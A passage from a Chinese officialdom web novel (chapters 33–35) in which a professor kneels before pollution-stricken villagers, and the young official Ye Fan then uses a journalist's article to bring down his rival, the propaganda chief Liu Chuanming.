叶凡,这个被他当众斥责为“背叛学术”的年轻人,今天,却用最残酷的现实,给他这位老师,上了人生中最重要的一课。
突然。
在所有人的惊骇的目光中。
刘承德做出了一个让天地为之失色的动作。
他没有后退。
也没有说话。
他只是缓缓地,缓缓地,弯下了他那一生都挺得笔直的膝盖。
“扑通!”
一声闷响。
这位在江城医学界泰斗级的人物,这位年过花甲、桃李满天下的老教授,就这么直挺挺地,跪在了平安村这片肮脏、泥泞、被污染的土地上。
他不是跪向叶凡。
他跪向的,是眼前那一张张错愕的、写满苦难的脸。
他跪向的,是他失落了几十年的,作为一名医者的初心。
“我……错了……”
三个字,从他口中说出,带着无尽的忏悔和哽咽。
泪水从他布满皱纹的脸上,肆意流淌,滴落进脚下的尘埃里。
这一跪,如同一道九天惊雷,在每个人的头顶炸响!
林国良的笑容彻底僵死在脸上,只剩下无边的惊恐和呆滞。
王克明总工下意识地后退了半步,手中的空气检测仪,“啪”的一声掉在地上,屏幕碎裂,他却浑然不觉。
那位海归赵博士脸色煞白,嘴唇哆嗦着,再也说不出一个德语单词。
张海涛**张大了嘴,几乎能塞进一个鸡蛋。
而苏沐秋则是在短暂的震惊后,含着热泪,疯狂地按下了快门。
她知道,她正在记录的是一个足以载入江城历史的瞬间!
一个学者,用最决绝的方式,向自己的良知,低下了高贵的头颅!
寂静。
死一般的寂静之后,是火山爆发般的,情感洪流。
“哇——”
那个叫刘翠花的女人,再也抑制不住,捂着脸,嚎啕大哭起来。
她的哭声,像一个信号。
村口捶腿的张大山老人,哭了。
那个因矽肺病喘不上气的中年男人,哭了。
那些眼神呆滞的孩子仿佛也感受到了什么,茫然地流下了眼泪。
压抑了太久太久的痛苦、委屈、绝望和无助,在这一刻,随着这位老教授惊天动地的一跪,找到了宣泄的出口。
哭声汇成一片悲伤的海洋,淹没了整个平安村。
这哭声,不是申诉,不是控诉。
是终于被人看见,终于被人理解的,一种释放。
叶凡静静地站着,看着眼前的一切。
他没有去扶刘承德。
他知道,这一跪,是这位老人必须完成的,对自我灵魂的救赎。
他只是走上前,将那个患有先心病的孩子,从地上抱了起来,轻轻拍着他的后背。
孩子的脸贴在他的胸口,能清晰地听到他沉稳而有力的心跳。
不知过了多久,哭声渐歇。
刘承德在两个村民的搀扶下,颤巍巍地站了起来。
他擦干眼泪,看向叶凡,眼神已经和之前截然不同。
那里面没有了审视和挑剔,只剩下一种如释重负的清明,和一种长辈对晚辈的,深深的欣赏与惭愧。
“叶凡同志。”
他郑重地,改了称呼。
“这份报告,我来写。”
“所有的水文地质数据,我请国土资源部的老同学,派国家队来做!所有的费用,我来想办法!”
“所有的临床样本分析和医学关联论证,我亲自带队,组织全市最好的专家来完成!所有的标准,都按国家级课题来!”
他转向脸色已经如同死灰的林国良,声音不大,却掷地有声。
“林局长,我请求,立刻成立‘青山镇平安村环境健康问题专项课题组’,由我,担任组长。”
“这个项目,不是一个乡镇的试点。”
“这是我们江城所有卫生工作者,欠这片土地,欠这里的人民,一笔必须偿还的血债!”
他的每一句话,都像一记响亮的耳光,狠狠地扇在林国良的脸上。
林国良张口结舌,一个字也说不出来。
拒绝?
他敢吗?
他敢当着几百村民,当着县委**,当着媒体记者的面,拒绝一位院士级的专家,主动请缨,为民办事的要求吗?
柳传明布下的局,被彻底掀翻了。
叶凡请来
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的,不是“判官”。
他用最滚烫的人心,逼着“判官”,变成了“传教士”!
回程的路,死气沉沉。
专家组的三辆车,像是三口移动的棺材。
林国良一言不发,只是用手揉着发痛的太阳穴,思考着该如何向柳传明交代这堪称惨败的结局。
王克明和赵博士则全程低着头,看着窗外,一句话也不敢说。
来时的意气风发,变成了此刻的狼狈不堪。
只有刘承德,他没有坐林国良的车,而是主动坐到了叶凡那辆破旧的国产车上。
车里,他从公文包里拿出了一张名片,递给叶凡。
“小叶,这是我的私人电话。以后,有任何关于专业上的问题,随时可以找我。”
他的语气里带着真诚的歉意。
“我这个老头子,差点因为自己的固执和傲慢,办了件大错事。是你,给我上了一课。”
叶凡接过名片,诚恳地说道:“刘教授,您言重了。您才是真正的大医,有风骨,有担当。”
刘承德苦笑着摇了摇头。
“我只是守住了底线而已。”
他看着叶凡,眼神里充满了期许。
“官场比手术台,要复杂得多,也凶险得多。”
“但道理,是一样的。”
“永远不要忘了,你手里握着的,是人命。”
……
**宣传部。
部长办公室。
柳传明正闭目养神,悠闲地听着一段京剧。
他相信,林国良他们现在应该已经踏上了归途。
而叶凡,那个不知天高地厚的小子,此刻恐怕正品尝着被权威和专业,碾得粉碎的滋味。
他甚至能想象出,叶凡那副不甘、愤怒,却又无能为力的表情。
想到这里,他的嘴角勾起一抹快意的冷笑。
就在这时,办公室的门被急促地敲响了。
他的秘书一脸惊惶地闯了进来,连称呼都忘了。
“柳……柳部长!不好了!”
柳传明缓缓睁开眼,眉头微蹙,对秘书的失态感到一丝不悦。
“什么事,如此慌张?”
“青……青川县那边,出事了!”秘书的声音都在发颤,“刚刚市电视台的记者传回来的消息……刘承德教授他……他在平安村,当着所有村民的面……跪下了!”
“啪!”
柳传明手中那两颗盘了多年的紫檀木手球,应声落地,在光滑的地板上,弹跳着,发出一连串刺耳的、混乱的声响。
京剧的唱腔,戛然而止。
办公室里,死一般的寂静。
柳传明脸上的血色以肉眼可见的速度,迅速褪去。
他那张永远云淡风轻的脸上,第一次,出现了龟裂的痕迹。
他猛地站起身,一把抢过秘书手中的平板电脑。
屏幕上,正是苏沐秋从现场传回来的,那张极具视觉冲击力的照片。
德高望重的老教授跪在泥泞的土地上,老泪纵横。
他的身后,是同样震惊的各级官员。
他的面前,是黑压压一片,神情悲怆的村民。
而叶凡,就站在画面的中央,怀里抱着一个孩子,眼神平静,却像一柄出鞘的利剑,穿透屏幕,直刺他的心脏!
“噗——”
柳传明只觉得喉头一甜,一口气没上来,整个人晃了晃,重重地跌坐回椅子上。
他输了。
输得一败涂地。
输得莫名其妙。
他想不通,自己那个用阳谋、规矩、人心编织起来的,天罗地网,怎么就……被这么一跪,给跪碎了?
第33章 一跪惊江城,柳家失方寸!
办公室里,那两颗紫檀木手球,依旧在地板上不安地滚动着,发出“骨碌碌”的声响,像是在嘲笑着主人的失态。
柳传明的脸色,已经从惨白,转为一种病态的铁青。
他死死地盯着平板电脑上那张照片,照片里的叶凡,眼神平静得可怕,那份平静,就像一把烧红的烙铁,狠狠地烫在他的心上。
**,还要诛心!
他柳传明玩了一辈子鹰,今天,却被一只小小的家雀,啄瞎了眼睛!
这不是简单的计谋失手,这是对他权势、手腕、乃至人格的,一次公开处刑!
刘承德那一跪,跪碎的,是周建斌的“规矩”,是林国良的“权威”,更是他柳传明在江城官场经营多年的,“体面”!
“废物!都是一群废物!”
柳传明再也无法维持那份“大道无形”的从容,他猛地一挥手,将桌上那套珍贵的紫砂茶具,扫落在地。
“哗啦”一声脆响,紫砂碎裂,茶水四溅,如同他此刻支离破碎的心境。
秘书吓得浑身一哆嗦,大气也不敢出。
就在这时,办公室的门被猛地推开,一个嚣张的声音闯了进来。
“爸!我听说那姓叶的把您派去的专家给……给弄跪了?!”
柳志鹏冲了进来,脸上满是不可一世的怒火和难以置信。
他一看到办公室里的狼藉和父亲那难看到极点的脸色,非但没有收敛,反而火上浇油。
“这**还有王法吗?一个乡下的小瘪三,敢这么折辱我们柳家!爸!您一句话,我今晚就带人去青山镇,把他腿打断,看他还怎么当官!”
“你给我闭嘴!”
柳传明猛地转头,一双布满血丝的眼睛,像一头受伤的野兽,死死地瞪着自己的儿子。
“打断他的腿?然后呢?让全江城的人都看我们柳家的笑话?看我们仗势欺人,恼羞成怒?”
“你除了用这些下三滥的手段,还会干什么?!”
这股滔天的怒火,与其说是对儿子,不如说是对他自己无能的宣泄。
柳志鹏被父亲从未有过的凶狠模样吓了一跳,气焰顿时矮了半截,小声嘀咕道:“那……那也不能就这么算了啊……”
柳传明颓然地跌坐回椅子上,大口大口地喘着粗气,胸口剧烈地起伏着。
他知道,现在不是发怒的时候。
当务之急,是止损。
刘承德那一跪,已经成了既定事实。这个消息,恐怕已经像病毒一样,在江城的官场里疯狂扩散。
他必须想办法,把这件事的影响,降到最低。
他拿起桌上那部红色的保密电话,手指却在微微颤抖。
他想了半天,却不知道这个电话,应该打给谁。
打给林国良?骂他一顿?毫无意义。
打给**领导解释?怎么解释?说这是一个误会?谁会信!
他第一次,感到了一种深深的无力感。
仿佛有一张看不见的大网,正从四面八方,朝他收拢过来,而这张网,竟是他亲手编织的。
……
江城市电视台,新闻中心。
柳如烟刚刚结束了一档直播节目,脸上还带着职业性的完美微笑。
助理小跑着过来,递上手机,神色古怪地说道:“烟姐,您……您看看这个。”
柳如烟接过手机,屏幕上,正是那张让她血液几乎凝固的照片。
照片的冲击力,远比任何文字描述都来得猛烈。
那个跪下的老人,她认识,是医学界德高望重的刘承德教授,父亲不止一次在饭局上得意地提起过这位“老朋友”。
而那个抱着孩子,站在风暴中心的男人,她更认识。
是那个她曾经以为,离开了自己和柳家,就会一无是处,烂在泥里的前夫。
可照片里的他,哪里有半分“烂泥”的模样?
他没有振臂高呼,没有得意忘形,甚至连一丝笑容都没有。
他只是平静地站着,眼神悲悯地看着怀中的孩子,却仿佛成了整个世界的主宰。
他身后,是惊慌失措的市局领导,是面如死灰的专家,是背景里同样错愕的县委**。
所有所谓的“权威”,在他的面前,都成了渺小的、滑稽的陪衬。
柳如烟的手,开始不受控制地颤抖。
她忽然想起,自己提离婚时,父亲当着叶凡的面,是如何评价他的——“烂泥扶不上墙”。
她也想起,自己是如何哀其不争,认为他一辈子都只能在手术台那一方小天地里,做一个默默无闻的外科医生。
可现在,这块“烂泥”,却在官场这个更大的“手术台”上,完成了一台谁也想象不到的,惊天动地的大手术!
他没有用权,没有用钱。
他用的,是人心。
他用最纯粹的人心,击溃了父亲最擅长的权谋。
一种混杂着震惊、悔恨、嫉妒、甚至……还有一丝恐惧的复杂情绪,瞬间淹没了柳如烟。
她第一次发现,自己,可能从来没有真正认识过这个,与她同床共枕了五年的男人。
他不是没有野心,他只是不屑于去争。
可一旦有人触及他的底线,他那内敛的性格之下,隐藏的,竟是如此锋利、如此可怕的獠牙!
“烟姐?烟姐你没事吧?”助理担忧地看着她煞白的脸。
柳如烟回过神来,猛地站起身,抓起自己的包就往外冲。
“我有点事,先走了!”
她不知道自己要去哪里,她只知道,她必须立刻离开这个地方。
她怕自己再多看那张照片一秒,她那坚固的骄傲,就会彻底崩塌。
……
回青山镇的路上,叶凡那辆破旧的国产车里,气氛却与柳家的阴沉截然不同。
刘承德教授没有再谈论项目的事,反而像个好奇的长辈,问起了叶凡的过往。
“小叶,听建国说,你在市三院的时候,是心外科最厉害的一把刀,连体婴儿分离那种高难度的手术,你都主刀成功过?”
**,正是叶凡的导师。
叶凡握着方向盘,点了点头:“运气好而已。”
“那不是运气。”刘承德的眼神里,满是欣赏,“外科医生,尤其是心外和脑外的,都是在刀尖上跳舞,需要的不仅是技术,更是泰山崩于前而色不变的心理素质。”
“你今天,就把这种心理素质,用到了官场上。”
刘承德看着窗外飞速**的田野,感慨道:“你很清楚,跟我们这群老学究辩论数据,你毫无胜算。所以你干脆放弃了辩论,直接把最血淋淋的‘病灶’,捧到了我们面前,逼着我们这些‘主刀医生’,做出选择。”
“这不叫计谋,这叫阳谋。也是大智慧。”
他顿了顿,话锋一转,语气变得凝重起来。
“不过,你今天虽然赢了,但你也把柳传明,彻底得罪*
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*。”
“他这种人,最看重的就是面子和权威。你让他当着全江城的面,丢了这么大的脸,他绝不会善罢甘休。”
“明枪易躲,暗箭难防。他下一次出手,一定会更隐蔽,也更致命。你要有心理准备。”
叶凡的目光依旧平静地注视着前方,声音沉稳:“谢谢刘教授提醒,我明白。”
他当然明白。
从他决定踏入官场的那一刻起,他就知道,自己面对的,将是一条布满荆棘的道路。
柳传明,只是第一座,必须翻越的大山。
车子驶入青山镇,钱国栋和李德海已经焦急地等在了镇政府大院门口。
当他们看到刘承承教授,竟然是和叶凡同车归来,而且两人谈笑风生,脸上再无来时的倨傲与严肃时,两人对视一眼,都从对方眼中看到了无与伦比的震撼。
他们知道,叶凡,又一次,创造了奇迹!
送别了坚持要自己回去的刘承德,钱国栋一把拉住叶凡,激动得满脸通红,连话都说不利索了。
“叶……叶凡!你……你到底是怎么做到的?!”
“是刘教授深明大义。”叶凡只是淡淡地说道。
“屁!”钱国栋难得地爆了句粗口,他用力地拍着叶凡的肩膀,眼神里是抑制不住的狂喜和后怕,“我刚接到县里老朋友的电话,说市里都传疯了!刘承德那一跪,把柳传明的老脸,都给跪到地底下去了!”
“痛快!**太痛快了!”钱国栋像个孩子一样,在原地来回踱步,发泄着心中的兴奋。
李德海也是一脸崇拜地看着叶凡,叹服道:“叶镇长,我算是看明白了,您就是咱们青山镇的定海神针啊!”
兴奋过后,钱国栋迅速冷静下来,他毕竟是官场老手,很快就想到了刘承德提醒的那个问题。
他将叶凡拉进办公室,关上门,神情严肃地说道:“叶凡,这次我们虽然赢了,但赢得太险,也太狠。柳传明这只老狐狸,被逼急了,是会咬人的。”
叶凡点点头,给自己倒了杯水,喝了一口。
“他会的。”
钱国栋看着他波澜不惊的样子,急道:“那你就不担心?他要是动用宣传部的力量,给你造点谣,或者在其他项目上卡你,我们防不胜防啊!”
叶凡放下水杯,抬起头,眼中闪过一抹锐利的光。
“担心,解决不了问题。”
他走到窗边,看着院子里那些因为今天的胜利而欢欣鼓舞的干部们。
“柳传明现在,比我们更担心。”
“他担心刘教授的报告上去后,市里会追责。”
“他担心高**和李副市长,会借题发挥。”
“他更担心,他那个‘爱惜羽毛、重视规矩’的完美人设,会彻底崩塌。”
叶凡转过身,一字一句地说道:“我们现在要做的,不是防守。”
“而是要趁他病,要他命。”
钱国栋的瞳孔猛地一缩,呼吸都停滞了。
他看着眼前这个年轻人,那平静的语气里,透出的,是让他都感到心悸的、冰冷的杀意。
“最好的防守,是进攻。”
叶凡的嘴角,缓缓勾起一抹冰冷的弧度。
“他想用‘规矩’杀我,我就用‘**’这把刀,把他钉死在耻辱柱上。”
“刘教授那一跪,是良知。但落在我们手里,它就是武器。”
“**,好戏,才刚刚开场。”
第34章 **为刀,**作伐!
钱国栋眼中的狂喜,在听到叶凡那句冰冷的“好戏才刚刚开场”后,瞬间凝固,化作了深不见底的惊骇。
他看着眼前这个年轻人。
那张清秀的脸上,没有丝毫胜利的喜悦,只有如同外科医生在手术前,审视病灶时的绝对冷静和专注。
“你的意思是……”钱国栋的声音有些干涩。
“柳传明现在最怕什么?”叶凡没有直接回答,而是反问道。
钱国栋沉思片刻,缓缓道:“他怕这件事闹大,怕市里追责,怕高**他们拿这件事做文章,影响他年底的晋升。”
“没错。”
叶凡的嘴角勾起一抹冷冽的弧度。
“所以,我们就要把这件事,闹得越大越好。”
“要让它像一把火,烧得他坐立不安,烧得他无法遮掩,烧得所有人的目光,都聚焦到他柳传明的身上!”
钱国栋倒吸一口凉气。
他终于明白了叶凡的意图。
这已经不是简单的自保反击了。
这是要将柳传明置于死地!
“可是,怎么闹?”钱国栋眉头紧锁,“市里的媒体,喉舌都在他宣传部手里攥着。我们发出的声音,根本传不出去。”
“谁说我们要用他的喉舌?”
叶凡走到办公桌前,拿起了自己的手机。
他划开屏幕,找到了一个号码,拨了出去。
电话接通得很快,那头传来一个清脆而果决的女声。
“叶镇长。”
是苏沐秋。
“苏记者,你今天拍到的那张照片,还在吗?”叶凡开门见山。
电话那头的苏沐秋似乎愣了一下,随即明白了什么,声音里带上了一丝压抑不住的激动。
“在!每一张都在!最清晰的一张,我单独存了档!”
“好。”叶凡的声音沉稳而有力,“我需要你帮个忙。”
“你写一篇报道,就以你今天在平安村的所见所闻为基础。”
“记住,通篇不要提柳传明一个字,甚至不要提林国良。”
“文章的主角,是刘承德教授,是一位医者良知的觉醒。”
“文章的背景,是平安村村民长久以来的痛苦和我们基层工作的艰难。”
“我们要赞美刘教授的风骨,要同情村民的遭遇,要凸显我们解决问题的决心。”
“我们要把这篇文章,打造成一篇充满正能量的,歌颂人性光辉的,典范报道。”
苏沐秋冰雪聪明,瞬间就领会了叶凡的全部意图。
这哪里是报道,这分明是一把用“正能量”和“人性”锻造出的,最锋利的刀!
它不沾血,却能**于无形。
它不指名道姓,却能让所有看到报道的人,心中都浮现出一个无形的、官僚的、草菅人命的靶子。
而那个靶子,就是试图用“规矩”扼杀这个项目的,幕后黑手。
“我明白了。”苏沐-秋的声音,带着一丝棋逢对手的兴奋,“这篇文章,我不会发在县报上。”
“我会用我的私人账号,发在省里最大的新媒体平台‘江东在线’上。”
“标题我都想好了。”
“就叫——《国士一跪,为民**!江城老教授的泪,能否换来青山绿水?》”
好一个苏沐秋!
叶凡的眼中闪过一丝激赏。
这个标题,比他想象的,还要狠,还要毒!
它将刘承德捧上了“国士”的神坛,将这件事,从一个地方性的环境问题,直接上升到了“为民**”的高度。
“辛苦了。”叶凡由衷地说道。
“能为平安村的百姓做点事,是我的职责。”苏沐秋的声音,郑重而坚定。
挂断电话,叶凡看向已经目瞪口呆的钱国栋,微微一笑。
“**,现在,我们什么都不用做。”
“只需要泡上一壶好茶,静静地看戏就行了。”
……
是夜。
柳传明在办公室里枯坐了整整三个小时。
地上的紫砂碎片没有收拾,那两颗紫檀手球,也被他扔在角落,看都懒得看一眼。
他抽了半包烟,打了无数个电话。
他试图联系刘承德,对方的电话却始终无人接听。
他把林国良叫来,劈头盖脸地骂了一个小时,骂到最后,只剩下深深的无力。
林国良是废物,可这个局,是他亲手布下的。
他想不通,自己究竟错在了哪里。
难道,真的像那个小子说的一样,自己对人心的把握,还不如一个从手术台上下来的医生?
就在他心烦意乱之际,手机忽然疯狂地震动起来。
是无数条微信和未接来电的提示。
一个**的同僚,发来一个链接,后面跟着一个意味深长的表情。
“老柳,你这次,可是捧出了一位‘国士’啊。”
柳传明的心,猛地一沉。
他点开链接,一篇红色的、加粗的标题,像一柄血淋淋的战锤,狠狠砸在他的瞳孔上。
《国士一跪,为民**!江城老教授的泪,能否换来青山绿水?》
他点开了文章。
第一张,就是那张让他看一眼就血压飙升的照片。
刘承德跪在泥地里,老泪纵横。
叶凡抱着孩子,眼神悲悯而坚定。
周围的官员,神情各异,成了最完美的背景板。
文章的笔触,充满了感情,却又克制得恰到好处。
它详细描述了平安村触目惊心的污染现状,引用了村民们一句句朴实却又令人心碎的话语。
“我们不是想多要钱,我们就是想活命。”
“我的娃,生下来就没喘匀过气,我怕他长不大……”
然后,笔锋一转,开始浓墨重彩地描绘刘承德教授这位“大医”的到来。
文章写他如何被村民的苦难所震撼,如何反思自己过去对数据的迷信,最终,如何用惊天一跪,来唤醒自己作为医者的初心。
通篇文章,充满了对刘教授的赞美,对生命的敬畏,对基层干部(叶凡)不畏艰难的肯定。
文章的最后,更是升华了主题。
“……这一跪,跪下的,是一位学者的风骨;撑起的,是数百名百姓生存的希望。我们不禁要问,是什么,让一位德高望重的老教授,要用如此悲壮的方式,来推动一件本该是天经地义的民生实事?我们期待着,刘教授的眼泪,不会白流。我们期待着,青山镇的明天,天更蓝,水更清。”
“噗——”
柳传明再也忍不住,一口气血翻涌,喉头一甜,猛地喷出一口鲜血,溅红了眼前的手机屏幕。
诛心!
这**才是真正的诛心之计!
这篇文章,就像一把手术刀,把他柳传明牢牢地钉在了“反派”的背景板上。
他成了那个“让教授不得不跪下”的,无形的、邪恶的体制化身!
他想反驳,却无从下口。
难道他要发文说,刘承德是被叶凡骗了?是在演戏?
那只会让他和整个江城医学界,成
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为不死不休的仇敌。
难道他要说,平安村的污染没那么严重?
那更是与全天下的**为敌!
他被架在了火上。
他被剥光了衣服,扔在了**的广场上,接受所有人的审判。
而那个自始至终,都没有被提及名字的叶凡,却成了这出大戏背后,最大的赢家!
“删!给我删掉!动用一切力量,把这篇文章给我删掉!”
柳传明抓起电话,对着另一头,歇斯底里地咆哮起来。
然而,半小时后,他宣传部的心腹,战战兢兢地回了电话。
“部……部长……删不掉啊!”
“这篇文章,被‘江东在线’设为头条,还被好几个央媒的客户端转载了!我们的权限,根本够不着!”
“而且……而且越删,网友骂得越凶,说我们是想捂盖子,是做贼心虚……”
“废物!”
柳传明狠狠地将电话摔在地上,手机四分五裂。
完了。
彻底完了。
他知道,自己已经失去了控制局势的,最后机会。
就在这时,桌上那部红色的保密电话,发出了刺耳的、催命般的铃声。
柳传明看着那个闪烁的号码,身体一僵。
是****,高建国。
他颤抖着手,按下了接听键。
“喂,高**……”
电话那头,高建国的声音听不出喜怒,却带着一种居高临下的压迫感。
“传明同志,‘江东在线’那篇文章,你看了吧?”
“看……看了……”
“嗯,写得很好嘛。”高建国的语气甚至带着一丝“赞许”。
“刘承德教授,是我们江城学界的骄傲,是我们干部队伍的良心啊。”
“还有那个叫叶凡的小同志,也不错,有担当,有作为,是扎根基层的好苗子。”
高建国每“夸”一句,柳传明脸上的血色,就褪去一分。
“传明啊,”高建国的语气,终于沉了下来,“这么好的人,这么好的事,为什么我们市里的媒体,之前一点声音都没有啊?”
“反倒是让省里的新媒体,抢了先?”
“你这个宣传部长,是怎么当的?我们江城的正面典型,还要靠别人来发掘吗?”
“这件事,性质很不好,影响很恶劣!说明我们有些部门,有些同志,思想僵化,官僚主义严重,对群众的疾苦,麻木不仁!”
“明天一早,你写一份深刻的检查,交到我办公室来!”
“另外,市纪委和**组织部,会立刻成立联合调查组,进驻青山镇。”
“我们一定要查清楚,到底是谁,在阻挠这个利国利民的项目!”
“我们党内,绝对不允许有害群之马的存在!”
“嘟……嘟……嘟……”
电话,被挂断了。
柳传明握着话筒,呆呆地愣在原地,如遭雷击。
他听懂了。
高建国的每一个字,他都听懂了。
高建国不是在批评他。
高建国是在,对他宣判!
调查组……
这三个字,像三座大山,轰然压下,让他瞬间喘不过气来。
他知道,自己完了。
在这场由叶凡发起的,无声的战争中,他已经输得,连底裤都不剩了。
窗外,夜色正浓。
而青山镇的叶凡,却刚刚泡好一壶热茶,递给了同样一夜未眠的钱国栋。
茶香,袅袅升起。
“**,天,要亮了。”
第35章 调查组进驻,暗流涌动!
清晨的第一缕阳光,穿透青山镇政府大院的薄雾,洒在地面上。
然而,这阳光并未驱散笼罩在柳传明心头的阴霾,反而将他失控后的狼狈,映照得格外刺眼。
****高建国那通电话,像一把无形的利刃,精准地斩断了他所有的退路。
他知道,这次他栽了,栽得彻彻底底。
而那个将他推入深渊的,正是他曾经视如蝼蚁的叶凡。
“部长,市纪委和组织部联合调查组,已经出发了。”秘书小心翼翼地报告。
柳传明双眼无神地盯着窗外,仿佛一夜之间老了十岁。
他没有说话,只是挥了挥手,示意秘书出去。
他太清楚了,一旦调查组进驻,就意味着高建国已经下定决心,要拿他开刀。
而他,几乎没有反抗的余地。
……
与市里风声鹤唳的氛围不同,青山镇政府大院里,此刻却弥漫着一种劫后余生的兴奋与隐秘的期待。
钱国栋早早地就来到了办公室,他泡着茶,时不时地看向叶凡的办公室,脸上是掩饰不住的激动。
李德海院长也特意过来,向叶凡汇报了平安村后续医疗帮扶的初步方案,语气里充满了敬意。
他们都知道,是叶凡,以一己之力,力挽狂澜,将整个青山镇从一场**泥潭中解救出来。
上午九点,三辆黑色轿车,准时驶入青山镇政府大院。
市纪委副****,**组织部副部长陈明华,两人领着各自的精干力量,神情严肃地走下车。
县委**张海涛和县长赵卫东早已在门口等候,两人脸上挂着僵硬的笑容,心里却忐忑不安。
他们知道,这次调查组下来,不仅是冲着柳传明去的,也是对他们这些地方领导的一次大考。
**的目光,扫过迎接的人群,最终停留在叶凡身上。
他知道这个年轻人的名字,也知道他就是那篇刷爆“江东在线”文章里的核心人物。
“叶凡同志,久仰大名。”**伸出手,语气平静,却带着一丝审视。
叶凡不卑不亢地握手:“王**客气了,都是本职工作。”
陈明华也上前,微笑着与叶凡握了握手,眼神里带着一丝不易察觉的欣赏。
“青山镇这次的工作,引起了省市领导的高度关注。”陈明华说道,“我们这次来,就是为了深入了解情况,把问题查清楚,把工作做扎实。”
简短的寒暄后,调查组直奔会议室。
会议室里,气氛异常凝重。
**开门见山,宣布了调查组的职责,并强调了此次调查的严肃性和纪律性。
他点名让叶凡第一个汇报平安村事件的详细情况。
叶凡没有丝毫怯场。
他没有慷慨激昂,也没有添油加醋。
他只是用最冷静、最客观的语气,将平安村的污染现状、村民的病痛,以及专家组考察的全过程,一五一十地陈述出来。
他甚至没有刻意强调刘承德下跪的细节,只是用平淡的语气,描述了刘教授在看到村民苦难后的“触动”和“反思”,以及他主动请缨成立专项课题组的“担当”。
但正是这种克制,反而让在场的调查组成员,感受到了更强大的冲击力。
他们都是官场老手,太清楚这种“平静”背后,蕴藏着怎样的惊涛骇浪。
当叶凡汇报完毕,会议室里陷入了短暂的沉默。
**的目光,在叶凡身上停留了许久。
这个年轻人,不仅医术高超,在官场上的表现,也同样令人刮目相看。
他没有直接攻击柳传明,却字字句句都把柳传明钉在了耻辱柱上。
这,才是真正的高手。
“叶凡同志,感谢你的详细汇报。”**终于开口,语气中带着一丝不易察觉的赞赏,“接下来,我们调查组会分头行动,深入村子,走访群众,同时也会约谈相关部门的负责人。”
“希望青山镇的同志们,能够全力配合调查,提供真实情况。”
他这句话,看似是对青山镇的要求,实则也是对县里和市里相关部门的警告。
在调查组进驻的同时,柳传明那边,正焦头烂额。
他知道,调查组的矛头,已经对准了他。
他立刻召集宣传部骨干,连夜开会,试图寻找补救措施。
“把所有与青山镇事件相关的舆情,给我全部压下去!”
“立刻组织正面宣传,突出我部在民生工作上的贡献,冲淡负面影响!”
“柳志鹏呢?让他最近给我老实点,别给我添乱!”
然而,他越是挣扎,越是显得被动。
省里的“江东在线”那篇文章,就像一颗定时**,已经引爆了全省乃至全国范围内的关注。
各大媒体争相报道,网友们义愤填膺,**的洪流,根本不是他一个市宣传部所能阻挡的。
他甚至接到了省委宣传部的电话,语气严厉地批评了他对舆情管控的失职。
柳传明感到前所未有的绝望。
他知道,他这次的仕途,怕是到头了。
而柳志鹏,这个纨绔子弟,却完全没有意识到家族危机的降临。
他还在夜店里纸醉金迷,嘴里骂骂咧咧地抱怨着叶凡给他带来的麻烦。
他甚至叫嚣着,等风头过去,一定要找人把叶凡的腿打断。
他根本不知道,一张无形的大网,已经开始收拢,而他,正是网中那条最大的鱼。
……
调查组在青山镇的工作有条不紊地进行着。
**和陈明华亲自带队,深入平安村,走访每一户村民。
他们看到了张大爷扭曲的腿,看到了刘翠花孩子青紫的嘴唇,看到了那些因为污染而病痛缠身的村民。
那些在刘承德教授眼中是“病理学事实”的痛苦,此刻,也深深地刺痛了这两位高层干部的内心。
他们都是从基层一步步走上来的,深知民生疾苦。
这些活生生的案例,远比任何报告都更具说服力。
在一次与叶凡的单独谈话中,**的语气变得缓和了许多。
“叶凡同志,平安村的情况,我们都看到了。”**沉声道,“群众的眼睛是雪亮的,他们比任何人都清楚,谁在为他们办事,谁在敷衍了事。”
“这次的调查,我们一定会给群众一个交代。”
叶凡只是平静地听着,没有邀功,也没有抱怨。
他知道,**这句话,不仅是对他的承诺,也是对他工作的肯定。
他要的,就是这个“交代”。
当天傍晚,苏沐秋带着她的相机,再次来到了叶凡的办公室。
她没有直接敲门,只是站在门口,看着办公室里忙碌的叶凡。
夕阳的余晖洒落在他的侧脸,勾勒出他沉静而坚毅的轮廓。
他正对着一份份报告和数据,眉头微蹙,眼神专注。
她想起几天前,他在这里被刘承德教授当众羞辱时的平静,又想起他在平安村田埂上,用生命质问“规矩”时的锋芒。
这个男人,看似内敛,实则内心强大到可怕。
他不是一个简单的医生,也不是一个普通的官员。
他是一个,能把手术台上的精密,搬到官场上的人。
他能用最精准的逻辑,找到“病灶”,然后用最坚决的手段,“切除”它。
“叶镇长,还没忙完啊?”苏沐秋终于开口,声音轻柔。
叶凡抬起头,看到是她,脸上浮现出一丝难得的放松。
“苏记者,你来了。”他放下手中的笔,示意她坐下。
苏沐秋将手中的相机放在桌上,眼神有些复杂地看着他。
“今天调查组在村里,我跟着跑了一天。”她轻声说道,“看到那些村民,我心里很难受。”
叶凡递给她一杯热水:“辛苦了。”
“我一点也不辛苦。”苏沐秋摇了摇头,她的目光落在叶凡那双略显疲惫的眼睛上,“我只是在想,你到底是怎么做到的?”
“怎么做到让刘教授那样的人,心甘情愿地为你站台,甚至不惜下跪?”
“怎么做到让柳传明那样老谋深算的人,一败涂地,连反击之力都没有?”
叶凡端起茶杯,轻轻抿了一口,眼神深邃。
“我没有让他们为我站台。”他淡淡地说道,“我只是让他们看到了,他们作为医者,作为官员,最应该看到的东西。”
“至于柳传明……”
叶凡的嘴角,勾起一抹极淡的,却又带着一丝冰冷的弧度。
“他输的,不是权谋,是人心。”
苏沐秋的心,被这句话狠狠地触动了。
她看着叶凡,发现他身上有一种与众不同的魅力。
他不像那些追逐权力的官员,眼中写满了算计和欲望。
他的眼中只有对问题的精准判断,和对
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生命的悲悯。
“你……真的不后悔吗?”苏沐秋忽然问道,声音里带着一丝不易察觉的担忧,“柳传明这次虽然栽了,但他毕竟在市里根深蒂固,他的儿子柳志鹏,也不是省油的灯。”
“你这样正面硬刚,以后在官场上,会更艰难的。”
叶凡放下茶杯,目光直视着她,眼神平静而坚定。
“从我决定来青山镇的那一刻起,我就知道,我回不去了。”
“回不去那个只专注于手术台,只专注于医学的世界。”
“既然回不去,那就只能往前走。”
他顿了顿,语气忽然变得柔和了几分。
“我只是想证明,有些事情,比权力更重要。”
“比如,良知,比如,生命。”
苏沐秋的心,猛地一颤。
她从他的眼中,看到了那种纯粹的、近乎理想主义的光芒。
这让她感到一种前所未有的震撼。
她见过太多在权力场中挣扎的人,他们或圆滑,或阴鸷,或虚伪。
但像叶凡这样,将“治病救人”的理念,贯彻到官场上的,她还是第一次见。
她发现,自己对叶凡的欣赏,已经不再仅仅停留在才华和智慧层面。
她开始被他身上那种独特的、坚守底线的品格所吸引。
